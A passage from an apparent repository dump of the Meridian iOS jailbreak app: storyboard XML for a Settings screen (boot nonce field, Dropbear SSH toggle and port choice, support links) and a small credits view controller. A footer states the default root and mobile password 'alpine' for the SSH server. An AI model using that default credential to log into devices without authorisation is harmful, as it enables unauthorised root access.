key=\"textInputTraits\" autocorrectionType=\"no\" spellCheckingType=\"no\" keyboardType=\"alphabet\" keyboardAppearance=\"alert\" returnKeyType=\"done\" enablesReturnKeyAutomatically=\"YES\" smartDashesType=\"no\" smartInsertDeleteType=\"no\" smartQuotesType=\"no\"/>\n                                                    <connections>\n                                                        <action selector=\"bootNonceEditingEnded:\" destination=\"Fud-u7-kXh\" eventType=\"editingDidEnd\" id=\"wka-Gw-nAH\"/>\n                                                    </connections>\n                                                </textField>\n                                            </subviews>\n                                            <constraints>\n                                                <constraint firstItem=\"li6-DZ-aMt\" firstAttribute=\"trailing\" secondItem=\"u8R-sP-QxL\" secondAttribute=\"trailing\" id=\"87h-VN-ZxA\"/>\n                                                <constraint firstItem=\"u8R-sP-QxL\" firstAttribute=\"leading\" secondItem=\"Iay-Au-yFq\" secondAttribute=\"leading\" constant=\"56\" id=\"Kp1-6D-B7A\"/>\n                                                <constraint firstAttribute=\"trailing\" relation=\"greaterThanOrEqual\" secondItem=\"u8R-sP-QxL\" secondAttribute=\"trailing\" constant=\"16\" id=\"Pnx-AG-gCV\"/>\n                                                <constraint firstItem=\"li6-DZ-aMt\" firstAttribute=\"centerY\" secondItem=\"RMI-1A-TeW\" secondAttribute=\"centerY\" id=\"oEi-B9-PoD\"/>\n                                            </constraints>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078430000007\" green=\"0.090196078430000007\" blue=\"0.090196078430000007\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                </cells>\n                            </tableViewSection>\n                            <tableViewSection headerTitle=\"SSH Server\" footerTitle=\"Default password for root and mobile accounts is &quot;alpine&quot;.\" id=\"gIa-7c-ynu\">\n                                <cells>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"none\" indentationWidth=\"10\" textLabel=\"zye-au-MEe\" imageView=\"82z-Bb-hDA\" style=\"IBUITableViewCellStyleDefault\" id=\"ja6-nW-bNH\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"276.5\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"ja6-nW-bNH\" id=\"aoA-dQ-Ddr\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Start Dropbear\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"zye-au-MEe\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"303\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <switch opaque=\"NO\" contentMode=\"scaleToFill\" horizontalHuggingPriority=\"750\" verticalHuggingPriority=\"750\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"foG-a1-YDP\">\n                                                    <rect key=\"frame\" x=\"317\" y=\"10\" width=\"51\" height=\"31\"/>\n                                                    <color key=\"onTintColor\" red=\"0.81568627449999997\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                    <connections>\n                                                        <action selector=\"startDropbearValueChanged:\" destination=\"Fud-u7-kXh\" eventType=\"valueChanged\" id=\"VEI-ql-5mn\"/>\n                                                    </connections>\n                                                </switch>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"console\" id=\"82z-Bb-hDA\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                            <constraints>\n                                                <constraint firstItem=\"zye-au-MEe\" firstAttribute=\"leading\" secondItem=\"aoA-dQ-Ddr\" secondAttribute=\"leading\" constant=\"56\" id=\"6uK-9S-RsL\"/>\n                                                <constraint firstAttribute=\"trailingMargin\" secondItem=\"foG-a1-YDP\" secondAttribute=\"trailing\" constant=\"-7\" id=\"EcN-tU-tgo\"/>\n                                                <constraint firstItem=\"foG-a1-YDP\" firstAttribute=\"centerY\" secondItem=\"zye-au-MEe\" secondAttribute=\"centerY\" id=\"Klg-JI-yiC\"/>\n                                                <constraint firstAttribute=\"trailing\" relation=\"greaterThanOrEqual\" secondItem=\"zye-au-MEe\" secondAttribute=\"trailing\" constant=\"16\" id=\"rjM-xs-sjT\"/>\n                                            </constraints>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"none\" indentationWidth=\"10\" textLabel=\"7iL-eY-82B\" imageView=\"OPW-nx-C2Y\" style=\"IBUITableViewCellStyleDefault\" id=\"Lau-Mv-iut\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"326.5\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"Lau-Mv-iut\" id=\"ZQA-up-33D\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Port\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"7iL-eY-82B\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"303\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <segmentedControl opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" segmentControlStyle=\"plain\" selectedSegmentIndex=\"2\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"7sb-Pj-ZWb\">\n                                                    <rect key=\"frame\" x=\"226\" y=\"12\" width=\"140\" height=\"29\"/>\n                                                    <segments>\n                                                        <segment title=\"22\"/>\n                                                        <segment title=\"2222\"/>\n                                                        <segment title=\"Both\"/>\n                                                    </segments>\n                                                    <color key=\"tintColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <connections>\n                                                        <action selector=\"dropbearPortValueChanged:\" destination=\"Fud-u7-kXh\" eventType=\"valueChanged\" id=\"pxH-6G-YkS\"/>\n                                                    </connections>\n                                                </segmentedControl>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"handshake\" id=\"OPW-nx-C2Y\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                            <constraints>\n                                                <constraint firstAttribute=\"trailingMargin\" secondItem=\"7sb-Pj-ZWb\" secondAttribute=\"trailing\" constant=\"-7\" id=\"IGY-T9-y8I\"/>\n                                                <constraint firstItem=\"7sb-Pj-ZWb\" firstAttribute=\"leading\" relation=\"greaterThanOrEqual\" secondItem=\"ZQA-up-33D\" secondAttribute=\"leadingMargin\" id=\"k2p-cr-vbA\"/>\n                                                <constraint firstItem=\"7sb-Pj-ZWb\" firstAttribute=\"top\" secondItem=\"OPW-nx-C2Y\" secondAttribute=\"top\" id=\"yII-Zy-GeV\"/>\n                                            </constraints>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                    </tableViewCell>\n                                </cells>\n                            </tableViewSection>\n                            <tableViewSection headerTitle=\"Support\" id=\"AxT-7x-Web\">\n                                <cells>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"gray\" accessoryType=\"disclosureIndicator\" indentationWidth=\"10\" textLabel=\"yJJ-1f-zI1\" imageView=\"Jfa-s3-8Ft\" style=\"IBUITableViewCellStyleDefault\" id=\"4k3-wX-Njr\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"460.5\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"4k3-wX-Njr\" id=\"UeG-gy-w26\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"341\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"@iBSparkes (PsychoTea)\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"yJJ-1f-zI1\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"284\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"twitter\" id=\"Jfa-s3-8Ft\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"gray\" accessoryType=\"disclosureIndicator\" indentationWidth=\"10\" textLabel=\"XaJ-WV-s6j\" imageView=\"qfi-xz-qXX\" style=\"IBUITableViewCellStyleDefault\" id=\"MTK-j0-OQD\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"510.5\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"MTK-j0-OQD\" id=\"FRx-vg-keQ\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"341\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Meridian Website\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"XaJ-WV-s6j\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"284\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"www\" id=\"qfi-xz-qXX\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"gray\" accessoryType=\"disclosureIndicator\" indentationWidth=\"10\" textLabel=\"zdo-f3-yJ8\" imageView=\"g0q-fx-xUU\" style=\"IBUITableViewCellStyleDefault\" id=\"WUk-8J-pkR\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"560.5\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"WUk-8J-pkR\" id=\"2IB-aX-G98\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"341\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Bug Tracker\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"zdo-f3-yJ8\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"284\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"ladybug\" id=\"g0q-fx-xUU\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"gray\" accessoryType=\"disclosureIndicator\" indentationWidth=\"10\" textLabel=\"WLy-ZV-PYk\" imageView=\"UWQ-su-3Pu\" style=\"IBUITableViewCellStyleDefault\" id=\"aKv-3e-InN\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"610.5\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"aKv-3e-InN\" id=\"yJq-Fz-RZm\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"341\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Source Code\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"WLy-ZV-PYk\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"284\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"source_code\" id=\"UWQ-su-3Pu\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                </cells>\n                            </tableViewSection>\n                        </sections>\n                        <connections>\n                            <outlet property=\"dataSource\" destination=\"Fud-u7-kXh\" id=\"IHq-KY-Fs7\"/>\n                            <outlet property=\"delegate\" destination=\"Fud-u7-kXh\" id=\"OeR-wk-5sB\"/>\n                        </connections>\n                    </tableView>\n                    <navigationItem key=\"navigationItem\" title=\"Settings\" prompt=\" \" id=\"ynh-Ur-0EJ\"/>\n                    <size key=\"freeformSize\" width=\"375\" height=\"960\"/>\n                    <connections>\n                        <outlet property=\"bootNonceEntryField\" destination=\"li6-DZ-aMt\" id=\"2xK-1x-1Oc\"/>\n                        <outlet property=\"dropbearPortControl\" destination=\"7sb-Pj-ZWb\" id=\"Nsl-JT-Ab4\"/>\n                        <outlet property=\"issueTrackerCell\" destination=\"WUk-8J-pkR\" id=\"XHn-IC-FZ5\"/>\n                        <outlet property=\"psychoTwitterCell\" destination=\"4k3-wX-Njr\" id=\"h9u-wD-Xql\"/>\n                        <outlet property=\"sourceCodeCell\" destination=\"aKv-3e-InN\" id=\"KqA-c1-fdg\"/>\n                        <outlet property=\"startDropbearSwitch\" destination=\"foG-a1-YDP\" id=\"KPa-vR-bd4\"/>\n                        <outlet property=\"startLaunchDaemonsSwitch\" destination=\"tH8-9w-rNC\" id=\"TXI-aN-Vuw\"/>\n                        <outlet property=\"tweaksEnabledSwitch\" destination=\"XUd-91-N00\" id=\"zdi-PF-q6v\"/>\n                        <outlet property=\"websiteCell\" destination=\"MTK-j0-OQD\" id=\"gmB-8p-PM2\"/>\n                    </connections>\n                </tableViewController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"gXd-VE-g0r\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"620\" y=\"1089.3553223388308\"/>\n        </scene>\n        <!--Root-->\n        <scene sceneID=\"g7r-W4-5qV\">\n            <objects>\n                <tabBarController automaticallyAdjustsScrollViewInsets=\"NO\" id=\"Yhi-d4-lzJ\" userLabel=\"Root\" sceneMemberID=\"viewController\">\n                    <toolbarItems/>\n                    <tabBar key=\"tabBar\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" barStyle=\"black\" id=\"A7G-9S-ejM\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"1000\" height=\"1000\"/>\n                        <autoresizingMask key=\"autoresizingMask\"/>\n                        <color key=\"selectedImageTintColor\" red=\"0.81568627450980391\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                    </tabBar>\n                    <connections>\n                        <segue destination=\"BYZ-38-t0r\" kind=\"relationship\" relationship=\"viewControllers\" id=\"Mi4-Nf-K9s\"/>\n                        <segue destination=\"9VF-uE-R1O\" kind=\"relationship\" relationship=\"viewControllers\" id=\"oAQ-aJ-k9B\"/>\n                        <segue destination=\"HLf-pT-Iz0\" kind=\"relationship\" relationship=\"viewControllers\" id=\"fL3-VF-W4f\"/>\n                    </connections>\n                </tabBarController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"wp4-le-zpd\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"620\" y=\"-669\"/>\n        </scene>\n        <!--Settings Nav-->\n        <scene sceneID=\"EaB-sO-YQc\">\n            <objects>\n                <navigationController title=\"Settings\" automaticallyAdjustsScrollViewInsets=\"NO\" id=\"9VF-uE-R1O\" userLabel=\"Settings Nav\" sceneMemberID=\"viewController\">\n                    <tabBarItem key=\"tabBarItem\" title=\"\" image=\"settings\" id=\"e2k-KX-zva\">\n                        <inset key=\"imageInsets\" minX=\"0.0\" minY=\"6\" maxX=\"0.0\" maxY=\"-6\"/>\n                    </tabBarItem>\n                    <toolbarItems/>\n                    <navigationBar key=\"navigationBar\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" barStyle=\"black\" id=\"Hea-pi-bGZ\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"20\" width=\"320\" height=\"44\"/>\n                        <autoresizingMask key=\"autoresizingMask\"/>\n                        <textAttributes key=\"titleTextAttributes\">\n                            <fontDescription key=\"fontDescription\" type=\"boldSystem\" pointSize=\"32\"/>\n                            <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                        </textAttributes>\n                    </navigationBar>\n                    <nil name=\"viewControllers\"/>\n                    <connections>\n                        <segue destination=\"Fud-u7-kXh\" kind=\"relationship\" relationship=\"rootViewController\" id=\"Y6y-H6-8kc\"/>\n                    </connections>\n                </navigationController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"e40-DF-GXD\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n                <navigationItem title=\"Settings\" id=\"0Ip-aG-j3p\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"620\" y=\"142\"/>\n        </scene>\n        <!--Credits Nav-->\n        <scene sceneID=\"Tk1-Fy-2D1\">\n            <objects>\n                <navigationController title=\"Credits\" automaticallyAdjustsScrollViewInsets=\"NO\" id=\"HLf-pT-Iz0\" userLabel=\"Credits Nav\" sceneMemberID=\"viewController\">\n                    <tabBarItem key=\"tabBarItem\" title=\"\" image=\"list\" id=\"dIr-gI-6hO\">\n                        <inset key=\"imageInsets\" minX=\"0.0\" minY=\"6\" maxX=\"0.0\" maxY=\"-6\"/>\n                    </tabBarItem>\n                    <toolbarItems/>\n                    <navigationBar key=\"navigationBar\" contentMode=\"scaleToFill\" barStyle=\"black\" id=\"ONm-Nq-vUG\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"20\" width=\"320\" height=\"44\"/>\n                        <autoresizingMask key=\"autoresizingMask\"/>\n                        <textAttributes key=\"titleTextAttributes\">\n                            <fontDescription key=\"fontDescription\" type=\"boldSystem\" pointSize=\"32\"/>\n                            <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                        </textAttributes>\n                    </navigationBar>\n                    <nil name=\"viewControllers\"/>\n                    <connections>\n                        <segue destination=\"Ohh-kf-vNo\" kind=\"relationship\" relationship=\"rootViewController\" id=\"Wfq-ZU-NZG\"/>\n                    </connections>\n                </navigationController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"MfK-GZ-e64\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"1492\" y=\"142\"/>\n        </scene>\n    </scenes>\n    <resources>\n        <image name=\"Map\" width=\"1024\" height=\"512\"/>\n        <image name=\"console\" width=\"25\" height=\"25\"/>\n        <image name=\"gears\" width=\"25\" height=\"25\"/>\n        <image name=\"handshake\" width=\"25\" height=\"25\"/>\n        <image name=\"jail\" width=\"25\" height=\"25\"/>\n        <image name=\"ladybug\" width=\"25\" height=\"25\"/>\n        <image name=\"list\" width=\"25\" height=\"25\"/>\n        <image name=\"settings\" width=\"25\" height=\"25\"/>\n        <image name=\"source_code\" width=\"25\" height=\"25\"/>\n        <image name=\"twitter\" width=\"25\" height=\"25\"/>\n        <image name=\"www\" width=\"25\" height=\"25\"/>\n    </resources>\n</document>\n"
  },
  {
    "path": "Meridian/Meridian/views/CreditsController.h",
    "content": "//\n//  CreditsController.h\n//  Meridian\n//\n//  Created by Sticktron on 2018-06-02.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface CreditsController : UIViewController\n\n@end\n"
  },
  {
    "path": "Meridian/Meridian/views/CreditsController.m",
    "content": "//\n//  CreditsController.m\n//  Meridian\n//\n//  Created by Sticktron on 2018-06-02.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#import \"CreditsController.h\"\n\n@interface CreditsController ()\n\n@end\n\n@implementation CreditsController\n\n- (void)viewDidLoad {\n    [super viewDidLoad];\n    // Do any additional setup after loading the view.\n}\n\n- (void)didReceiveMemoryWarning {\n    [super didReceiveMemoryWarning];\n    // Dispose of any resources that can be recreated.\n}\n\n- (void)openLink:(NSString *)url {\n    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil];\n}\n\n- (IBAction)buttonPressed:(UIButton *)sender {\n    NSString *url = [NSString stringWithFormat:@\"http://www.twitter.com/%@\", sender.titleLabel.text];\n    [self openLink:url];\n}\n\n/*\n#pragma mark - Navigation\n\n// In a storyboard-based application, you will often want to do a little preparation before navigation\n- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {\n    // Get the new view controller using [segue destinationViewController].\n    // Pass the selected object to the new view controller.\n}\n*/\n\n@end\n"
  },
  {
    "path": "Meridian/Meridian/views/Info.plist",
